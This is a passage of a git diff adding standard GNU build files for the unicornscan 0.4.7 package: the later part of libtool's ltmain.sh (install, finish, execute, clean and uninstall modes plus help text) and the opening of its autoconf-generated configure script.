*.lo) + # Install (i.e. copy) a libtool object. + + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile="$destdir/$destname" + else + destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + destfile="$destdir/$destfile" + fi + + # Deduce the name of the destination old-style object file. + case $destfile in + *.lo) + staticdest=`$echo "X$destfile" | $Xsed -e "$lo2o"` + ;; + *.$objext) + staticdest="$destfile" + destfile= + ;; + *) + $echo "$modename: cannot copy a libtool object to \`$destfile'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + # Install the libtool object if requested. + if test -n "$destfile"; then + $show "$install_prog $file $destfile" + $run eval "$install_prog $file $destfile" || exit $? + fi + + # Install the old object if enabled. + if test "$build_old_libs" = yes; then + # Deduce the name of the old-style object file. + staticobj=`$echo "X$file" | $Xsed -e "$lo2o"` + + $show "$install_prog $staticobj $staticdest" + $run eval "$install_prog \$staticobj \$staticdest" || exit $? + fi + exit $EXIT_SUCCESS + ;; + + *) + # Figure out destination file name, if it wasn't already specified. + if test -n "$destname"; then + destfile="$destdir/$destname" + else + destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + destfile="$destdir/$destfile" + fi + + # If the file is missing, and there is a .exe on the end, strip it + # because it is most likely a libtool script we actually want to + # install + stripped_ext="" + case $file in + *.exe) + if test ! -f "$file"; then + file=`$echo $file|${SED} 's,.exe$,,'` + stripped_ext=".exe" + fi + ;; + esac + + # Do a test to see if this is really a libtool program. + case $host in + *cygwin*|*mingw*) + wrapper=`$echo $file | ${SED} -e 's,.exe$,,'` + ;; + *) + wrapper=$file + ;; + esac + if (${SED} -e '4q' $wrapper | grep "^# Generated by .*$PACKAGE")>/dev/null 2>&1; then + notinst_deplibs= + relink_command= + + # Note that it is not necessary on cygwin/mingw to append a dot to + # foo even if both foo and FILE.exe exist: automatic-append-.exe + # behavior happens only for exec(3), not for open(2)! Also, sourcing + # `FILE.' does not work on cygwin managed mounts. + # + # If there is no directory component, then add one. + case $wrapper in + */* | *\\*) . ${wrapper} ;; + *) . ./${wrapper} ;; + esac + + # Check the variables that should have been set. + if test -z "$notinst_deplibs"; then + $echo "$modename: invalid libtool wrapper script \`$wrapper'" 1>&2 + exit $EXIT_FAILURE + fi + + finalize=yes + for lib in $notinst_deplibs; do + # Check to see that each library is installed. + libdir= + if test -f "$lib"; then + # If there is no directory component, then add one. + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + fi + libfile="$libdir/"`$echo "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test + if test -n "$libdir" && test ! -f "$libfile"; then + $echo "$modename: warning: \`$lib' has not been installed in \`$libdir'" 1>&2 + finalize=no + fi + done + + relink_command= + # Note that it is not necessary on cygwin/mingw to append a dot to + # foo even if both foo and FILE.exe exist: automatic-append-.exe + # behavior happens only for exec(3), not for open(2)! Also, sourcing + # `FILE.' does not work on cygwin managed mounts. + # + # If there is no directory component, then add one. + case $wrapper in + */* | *\\*) . ${wrapper} ;; + *) . ./${wrapper} ;; + esac + + outputname= + if test "$fast_install" = no && test -n "$relink_command"; then + if test "$finalize" = yes && test -z "$run"; then + tmpdir=`func_mktempdir` + file=`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'` + outputname="$tmpdir/$file" + # Replace the output file specification. + relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'` + + $show "$relink_command" + if $run eval "$relink_command"; then : + else + $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2 + ${rm}r "$tmpdir" + continue + fi + file="$outputname" + else + $echo "$modename: warning: cannot relink \`$file'" 1>&2 + fi + else + # Install the binary that we compiled earlier. + file=`$echo "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"` + fi + fi + + # remove .exe since cygwin /usr/bin/install will append another + # one anyway + case $install_prog,$host in + */usr/bin/install*,*cygwin*) + case $file:$destfile in + *.exe:*.exe) + # this is ok + ;; + *.exe:*) + destfile=$destfile.exe + ;; + *:*.exe) + destfile=`$echo $destfile | ${SED} -e 's,.exe$,,'` + ;; + esac + ;; + esac + $show "$install_prog$stripme $file $destfile" + $run eval "$install_prog\$stripme \$file \$destfile" || exit $? + test -n "$outputname" && ${rm}r "$tmpdir" + ;; + esac + done + + for file in $staticlibs; do + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + + # Set up the ranlib parameters. + oldlib="$destdir/$name" + + $show "$install_prog $file $oldlib" + $run eval "$install_prog \$file \$oldlib" || exit $? + + if test -n "$stripme" && test -n "$old_striplib"; then + $show "$old_striplib $oldlib" + $run eval "$old_striplib $oldlib" || exit $? + fi + + # Do each command in the postinstall commands. + cmds=$old_postinstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + done + + if test -n "$future_libdirs"; then + $echo "$modename: warning: remember to run \`$progname --finish$future_libdirs'" 1>&2 + fi + + if test -n "$current_libdirs"; then + # Maybe just do a dry run. + test -n "$run" && current_libdirs=" -n$current_libdirs" + exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs' + else + exit $EXIT_SUCCESS + fi + ;; + + # libtool finish mode + finish) + modename="$modename: finish" + libdirs="$nonopt" + admincmds= + + if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then + for dir + do + libdirs="$libdirs $dir" + done + + for libdir in $libdirs; do + if test -n "$finish_cmds"; then + # Do each command in the finish commands. + cmds=$finish_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || admincmds="$admincmds + $cmd" + done + IFS="$save_ifs" + fi + if test -n "$finish_eval"; then + # Do the single finish_eval. + eval cmds=\"$finish_eval\" + $run eval "$cmds" || admincmds="$admincmds + $cmds" + fi + done + fi + + # Exit here if they wanted silent mode. + test "$show" = : && exit $EXIT_SUCCESS + + $echo "X----------------------------------------------------------------------" | $Xsed + $echo "Libraries have been installed in:" + for libdir in $libdirs; do + $echo " $libdir" + done + $echo + $echo "If you ever happen to want to link against installed libraries" + $echo "in a given directory, LIBDIR, you must either use libtool, and" + $echo "specify the full pathname of the library, or use the \`-LLIBDIR'" + $echo "flag during linking and do at least one of the following:" + if test -n "$shlibpath_var"; then + $echo " - add LIBDIR to the \`$shlibpath_var' environment variable" + $echo " during execution" + fi + if test -n "$runpath_var"; then + $echo " - add LIBDIR to the \`$runpath_var' environment variable" + $echo " during linking" + fi + if test -n "$hardcode_libdir_flag_spec"; then + libdir=LIBDIR + eval flag=\"$hardcode_libdir_flag_spec\" + + $echo " - use the \`$flag' linker flag" + fi + if test -n "$admincmds"; then + $echo " - have your system administrator run these commands:$admincmds" + fi + if test -f /etc/ld.so.conf; then + $echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'" + fi + $echo + $echo "See any operating system documentation about shared libraries for" + $echo "more information, such as the ld(1) and ld.so(8) manual pages." + $echo "X----------------------------------------------------------------------" | $Xsed + exit $EXIT_SUCCESS + ;; + + # libtool execute mode + execute) + modename="$modename: execute" + + # The first argument is the command name. + cmd="$nonopt" + if test -z "$cmd"; then + $echo "$modename: you must specify a COMMAND" 1>&2 + $echo "$help" + exit $EXIT_FAILURE + fi + + # Handle -dlopen flags immediately. + for file in $execute_dlfiles; do + if test ! -f "$file"; then + $echo "$modename: \`$file' is not a file" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + dir= + case $file in + *.la) + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Read the libtool library. + dlname= + library_names= + + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Skip this library if it cannot be dlopened. + if test -z "$dlname"; then + # Warn if it was a shared library. + test -n "$library_names" && $echo "$modename: warning: \`$file' was not linked with \`-export-dynamic'" + continue + fi + + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$file" && dir=. + + if test -f "$dir/$objdir/$dlname"; then + dir="$dir/$objdir" + else + $echo "$modename: cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" 1>&2 + exit $EXIT_FAILURE + fi + ;; + + *.lo) + # Just add the directory containing the .lo file. + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$file" && dir=. + ;; + + *) + $echo "$modename: warning \`-dlopen' is ignored for non-libtool libraries and objects" 1>&2 + continue + ;; + esac + + # Get the absolute pathname. + absdir=`cd "$dir" && pwd` + test -n "$absdir" && dir="$absdir" + + # Now add the directory to shlibpath_var. + if eval "test -z \"\$$shlibpath_var\""; then + eval "$shlibpath_var=\"\$dir\"" + else + eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\"" + fi + done + + # This variable tells wrapper scripts just to set shlibpath_var + # rather than running their programs. + libtool_execute_magic="$magic" + + # Check if any of the arguments is a wrapper script. + args= + for file + do + case $file in + -*) ;; + *) + # Do a test to see if this is really a libtool program. + if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Transform arg to wrapped name. + file="$progdir/$program" + fi + ;; + esac + # Quote arguments (to preserve shell metacharacters). + file=`$echo "X$file" | $Xsed -e "$sed_quote_subst"` + args="$args \"$file\"" + done + + if test -z "$run"; then + if test -n "$shlibpath_var"; then + # Export the shlibpath_var. + eval "export $shlibpath_var" + fi + + # Restore saved environment variables + if test "${save_LC_ALL+set}" = set; then + LC_ALL="$save_LC_ALL"; export LC_ALL + fi + if test "${save_LANG+set}" = set; then + LANG="$save_LANG"; export LANG + fi + + # Now prepare to actually exec the command. + exec_cmd="\$cmd$args" + else + # Display what would be done. + if test -n "$shlibpath_var"; then + eval "\$echo \"\$shlibpath_var=\$$shlibpath_var\"" + $echo "export $shlibpath_var" + fi + $echo "$cmd$args" + exit $EXIT_SUCCESS + fi + ;; + + # libtool clean and uninstall mode + clean | uninstall) + modename="$modename: $mode" + rm="$nonopt" + files= + rmforce= + exit_status=0 + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic="$magic" + + for arg + do + case $arg in + -f) rm="$rm $arg"; rmforce=yes ;; + -*) rm="$rm $arg" ;; + *) files="$files $arg" ;; + esac + done + + if test -z "$rm"; then + $echo "$modename: you must specify an RM program" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + rmdirs= + + origobjdir="$objdir" + for file in $files; do + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` + if test "X$dir" = "X$file"; then + dir=. + objdir="$origobjdir" + else + objdir="$dir/$origobjdir" + fi + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + test "$mode" = uninstall && objdir="$dir" + + # Remember objdir for removal later, being careful to avoid duplicates + if test "$mode" = clean; then + case " $rmdirs " in + *" $objdir "*) ;; + *) rmdirs="$rmdirs $objdir" ;; + esac + fi + + # Don't error if the file doesn't exist and rm -f was used. + if (test -L "$file") >/dev/null 2>&1 \ + || (test -h "$file") >/dev/null 2>&1 \ + || test -f "$file"; then + : + elif test -d "$file"; then + exit_status=1 + continue + elif test "$rmforce" = yes; then + continue + fi + + rmfiles="$file" + + case $name in + *.la) + # Possibly a libtool archive, so verify it. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + . $dir/$name + + # Delete the libtool libraries and symlinks. + for n in $library_names; do + rmfiles="$rmfiles $objdir/$n" + done + test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library" + + case "$mode" in + clean) + case " $library_names " in + # " " in the beginning catches empty $dlname + *" $dlname "*) ;; + *) rmfiles="$rmfiles $objdir/$dlname" ;; + esac + test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i" + ;; + uninstall) + if test -n "$library_names"; then + # Do each command in the postuninstall commands. + cmds=$postuninstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" + if test "$?" -ne 0 && test "$rmforce" != yes; then + exit_status=1 + fi + done + IFS="$save_ifs" + fi + + if test -n "$old_library"; then + # Do each command in the old_postuninstall commands. + cmds=$old_postuninstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" + if test "$?" -ne 0 && test "$rmforce" != yes; then + exit_status=1 + fi + done + IFS="$save_ifs" + fi + # FIXME: should reinstall the best remaining shared library. + ;; + esac + fi + ;; + + *.lo) + # Possibly a libtool object, so verify it. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + + # Read the .lo file + . $dir/$name + + # Add PIC object to the list of files to remove. + if test -n "$pic_object" \ + && test "$pic_object" != none; then + rmfiles="$rmfiles $dir/$pic_object" + fi + + # Add non-PIC object to the list of files to remove. + if test -n "$non_pic_object" \ + && test "$non_pic_object" != none; then + rmfiles="$rmfiles $dir/$non_pic_object" + fi + fi + ;; + + *) + if test "$mode" = clean ; then + noexename=$name + case $file in + *.exe) + file=`$echo $file|${SED} 's,.exe$,,'` + noexename=`$echo $name|${SED} 's,.exe$,,'` + # $file with .exe has already been added to rmfiles, + # add $file without .exe + rmfiles="$rmfiles $file" + ;; + esac + # Do a test to see if this is a libtool program. + if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + relink_command= + . $dir/$noexename + + # note $name still contains .exe if it was in $file originally + # as does the version of $file that was added into $rmfiles + rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}" + if test "$fast_install" = yes && test -n "$relink_command"; then + rmfiles="$rmfiles $objdir/lt-$name" + fi + if test "X$noexename" != "X$name" ; then + rmfiles="$rmfiles $objdir/lt-${noexename}.c" + fi + fi + fi + ;; + esac + $show "$rm $rmfiles" + $run $rm $rmfiles || exit_status=1 + done + objdir="$origobjdir" + + # Try to remove the ${objdir}s in the directories where we deleted files + for dir in $rmdirs; do + if test -d "$dir"; then + $show "rmdir $dir" + $run rmdir $dir >/dev/null 2>&1 + fi + done + + exit $exit_status + ;; + + "") + $echo "$modename: you must specify a MODE" 1>&2 + $echo "$generic_help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + if test -z "$exec_cmd"; then + $echo "$modename: invalid operation mode \`$mode'" 1>&2 + $echo "$generic_help" 1>&2 + exit $EXIT_FAILURE + fi +fi # test -z "$show_help" + +if test -n "$exec_cmd"; then + eval exec $exec_cmd + exit $EXIT_FAILURE +fi + +# We need to display help for each of the modes. +case $mode in +"") $echo \ +"Usage: $modename [OPTION]... [MODE-ARG]... + +Provide generalized library-building support services. + + --config show all configuration variables + --debug enable verbose shell tracing +-n, --dry-run display commands without modifying any files + --features display basic configuration information and exit + --finish same as \`--mode=finish' + --help display this help message and exit + --mode=MODE use operation mode MODE [default=inferred from MODE-ARGS] + --quiet same as \`--silent' + --silent don't print informational messages + --tag=TAG use configuration variables from tag TAG + --version print version information + +MODE must be one of the following: + + clean remove files from the build directory + compile compile a source file into a libtool object + execute automatically set library path, then run a program + finish complete the installation of libtool libraries + install install libraries or executables + link create a library or an executable + uninstall remove libraries from an installed directory + +MODE-ARGS vary depending on the MODE. Try \`$modename --help --mode=MODE' for +a more detailed description of MODE. + +Report bugs to ." + exit $EXIT_SUCCESS + ;; + +clean) + $echo \ +"Usage: $modename [OPTION]... --mode=clean RM [RM-OPTION]... FILE... + +Remove files from the build directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed +to RM. + +If FILE is a libtool library, object or program, all the files associated +with it are deleted. Otherwise, only FILE itself is deleted using RM." + ;; + +compile) + $echo \ +"Usage: $modename [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE + +Compile a source file into a libtool library object. + +This mode accepts the following additional options: + + -o OUTPUT-FILE set the output file name to OUTPUT-FILE + -prefer-pic try to building PIC objects only + -prefer-non-pic try to building non-PIC objects only + -static always build a \`.o' file suitable for static linking + +COMPILE-COMMAND is a command to be used in creating a \`standard' object file +from the given SOURCEFILE. + +The output file name is determined by removing the directory component from +SOURCEFILE, then substituting the C source code suffix \`.c' with the +library object suffix, \`.lo'." + ;; + +execute) + $echo \ +"Usage: $modename [OPTION]... --mode=execute COMMAND [ARGS]... + +Automatically set library path, then run a program. + +This mode accepts the following additional options: + + -dlopen FILE add the directory containing FILE to the library path + +This mode sets the library path environment variable according to \`-dlopen' +flags. + +If any of the ARGS are libtool executable wrappers, then they are translated +into their corresponding uninstalled binary, and any of their required library +directories are added to the library path. + +Then, COMMAND is executed, with ARGS as arguments." + ;; + +finish) + $echo \ +"Usage: $modename [OPTION]... --mode=finish [LIBDIR]... + +Complete the installation of libtool libraries. + +Each LIBDIR is a directory that contains libtool libraries. + +The commands that this mode executes may require superuser privileges. Use +the \`--dry-run' option if you just want to see what would be executed." + ;; + +install) + $echo \ +"Usage: $modename [OPTION]... --mode=install INSTALL-COMMAND... + +Install executables or libraries. + +INSTALL-COMMAND is the installation command. The first component should be +either the \`install' or \`cp' program. + +The rest of the components are interpreted as arguments to that command (only +BSD-compatible install options are recognized)." + ;; + +link) + $echo \ +"Usage: $modename [OPTION]... --mode=link LINK-COMMAND... + +Link object files or libraries together to form another library, or to +create an executable program. + +LINK-COMMAND is a command using the C compiler that you would use to create +a program from several object files. + +The following components of LINK-COMMAND are treated specially: + + -all-static do not do any dynamic linking at all + -avoid-version do not add a version suffix if possible + -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at runtime + -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols + -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3) + -export-symbols SYMFILE + try to export only the symbols listed in SYMFILE + -export-symbols-regex REGEX + try to export only the symbols matching REGEX + -LLIBDIR search LIBDIR for required installed libraries + -lNAME OUTPUT-FILE requires the installed library libNAME + -module build a library that can dlopened + -no-fast-install disable the fast-install mode + -no-install link a not-installable executable + -no-undefined declare that a library does not refer to external symbols + -o OUTPUT-FILE create OUTPUT-FILE from the specified objects + -objectlist FILE Use a list of object files found in FILE to specify objects + -precious-files-regex REGEX + don't remove output files matching REGEX + -release RELEASE specify package release information + -rpath LIBDIR the created library will eventually be installed in LIBDIR + -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries + -static do not do any dynamic linking of libtool libraries + -version-info CURRENT[:REVISION[:AGE]] + specify library version info [each variable defaults to 0] + +All other options (arguments beginning with \`-') are ignored. + +Every other argument is treated as a filename. Files ending in \`.la' are +treated as uninstalled libtool libraries, other files are standard or library +object files. + +If the OUTPUT-FILE ends in \`.la', then a libtool library is created, +only library objects (\`.lo' files) may be specified, and \`-rpath' is +required, except when creating a convenience library. + +If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created +using \`ar' and \`ranlib', or on Windows using \`lib'. + +If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file +is created, otherwise an executable program is created." + ;; + +uninstall) + $echo \ +"Usage: $modename [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE... + +Remove libraries from an installation directory. + +RM is the name of the program to use to delete files associated with each FILE +(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed +to RM. + +If FILE is a libtool library, all the files associated with it are deleted. +Otherwise, only FILE itself is deleted using RM." + ;; + +*) + $echo "$modename: invalid operation mode \`$mode'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; +esac + +$echo +$echo "Try \`$modename --help' for more information about other modes." + +exit $? + +# The TAGs below are defined such that we never get into a situation +# in which we disable both kinds of libraries. Given conflicting +# choices, we go for a static library, that is the most portable, +# since we can't tell whether shared libraries were disabled because +# the user asked for that or because the platform doesn't support +# them. This is particularly important on AIX, because we don't +# support having both static and shared libraries enabled at the same +# time on that platform, so we default to a shared-only configuration. +# If a disable-shared tag is given, we'll fallback to a static-only +# configuration. But we'll never go from static-only to shared-only. + +# ### BEGIN LIBTOOL TAG CONFIG: disable-shared +disable_libs=shared +# ### END LIBTOOL TAG CONFIG: disable-shared + +# ### BEGIN LIBTOOL TAG CONFIG: disable-static +disable_libs=static +# ### END LIBTOOL TAG CONFIG: disable-static + +# Local Variables: +# mode:shell-script +# sh-indentation:2 +# End: diff --git a/configure b/configure new file mode 100755 index 0000000..b633c35 --- /dev/null +++ b/configure @@ -0,0 +1,28177 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.60 for unicornscan 0.4.7. +# +# Report bugs to . +# +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +# 2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be Bourne compatible +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac +fi +BIN_SH=xpg4; export BIN_SH # for Tru64 +DUALCASE=1; export DUALCASE # for MKS sh + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +as_nl=' +' +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + +if test "x$CONFIG_SHELL" = x; then + if (eval ":") 2>/dev/null; then + as_have_required=yes +else + as_have_required=no +fi + + if test $as_have_required = yes && (eval ": +(as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=\$LINENO + as_lineno_2=\$LINENO + test \"x\$as_lineno_1\" != \"x\$as_lineno_2\" && + test \"x\`expr \$as_lineno_1 + 1\`\" = \"x\$as_lineno_2\") || { (exit 1); exit 1; } +") 2> /dev/null; then + : +else + as_candidate_shells= + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in /usr/bin/posix$PATH_SEPARATOR/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + case $as_dir in + /*) + for as_base in sh bash ksh sh5; do + as_candidate_shells="$as_candidate_shells $as_dir/$as_base" + done;; + esac +done +IFS=$as_save_IFS + + + for as_shell in $as_candidate_shells $SHELL; do + # Try only shells that exist, to save several forks. + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + { ("$as_shell") 2> /dev/null <<\_ASEOF +# Be Bourne compatible +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac +fi +BIN_SH=xpg4; export BIN_SH # for Tru64 +DUALCASE=1; export DUALCASE # for MKS sh + +: +_ASEOF +}; then + CONFIG_SHELL=$as_shell + as_have_required=yes + if { "$as_shell" 2> /dev/null <<\_ASEOF +# Be Bourne compatible +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac +fi +BIN_SH=xpg4; export BIN_SH # for Tru64 +DUALCASE=1; export DUALCASE # for MKS sh + +: +(as_func_return () { + (exit $1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = "$1" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test $exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2") || { (exit 1); exit 1; } + +_ASEOF +}; then + break +fi + +fi + + done + + if test "x$CONFIG_SHELL" != x; then + for as_var in BASH_ENV ENV + do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + done + export CONFIG_SHELL + exec "$CONFIG_SHELL" "$as_myself" ${1+"$@"} +fi + + + if test $as_have_required = no; then + echo This script requires a shell more modern than all the + echo shells that I found on your system. Please install a + echo modern shell, or manually run the script under such a + echo shell if you do have one. + { (exit 1); exit 1; } +fi + + +fi + +fi + + + +(eval "as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 